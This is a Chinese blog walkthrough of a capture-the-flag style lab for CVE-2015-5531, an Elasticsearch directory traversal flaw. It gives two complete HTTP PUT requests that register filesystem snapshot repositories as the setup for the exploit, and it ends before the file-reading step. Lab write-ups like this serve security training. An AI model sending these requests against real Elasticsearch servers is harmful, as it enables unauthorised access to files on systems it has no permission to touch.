春秋云境CVE-2015-5531

最新推荐文章于 2026-07-06 23:01:51 发布

原创最新推荐文章于 2026-07-06 23:01:51 发布 · 543 阅读

0 ·

本内容遵循CC 4.0 BY-SA版权协议

GEO检测

1.阅读靶场介绍

这里能直接得到思路就是

目录遍历然后用...访问

2.启动靶场

这里可能要稍等片刻哟，靶场才可以正常

正常页面如下所示

3.poc

其实各位彦祖也可以直接利用博主的包

去修改host部分的内容即可

这里我们直接启动bp抓包

然后先构造这个包

PUT /_snapshot/test HTTP/1.1
Host: 8.147.132.32:40772
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:149.0) Gecko/20100101 Firefox/149.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8,zh-HK;q=0.7,en-US;q=0.6,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Cookie: wp-settings-time-1=1762481244
Upgrade-Insecure-Requests: 1
Priority: u=0, i
Content-Length: 114

{
    
"type": "fs",
    
"settings": {
        
"location": "/usr/share/elasticsearch/repo/test" 
    }
}

返回的结果是200就是没问题的

然后构造这个包

PUT /_snapshot/tes2t HTTP/1.1
Host: 8.147.132.32:40772
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:149.0) Gecko/20100101 Firefox/149.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8,zh-HK;q=0.7,en-US;q=0.6,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Cookie: wp-settings-time-1=1762481244
Upgrade-Insecure-Requests: 1
Priority: u=0, i
Content-Length: 132

{
    
"type": "fs",
    
"settings": {
        
"location": "/usr/share/elasticsearch/repo/test/snapshot-backdata" 
    }
}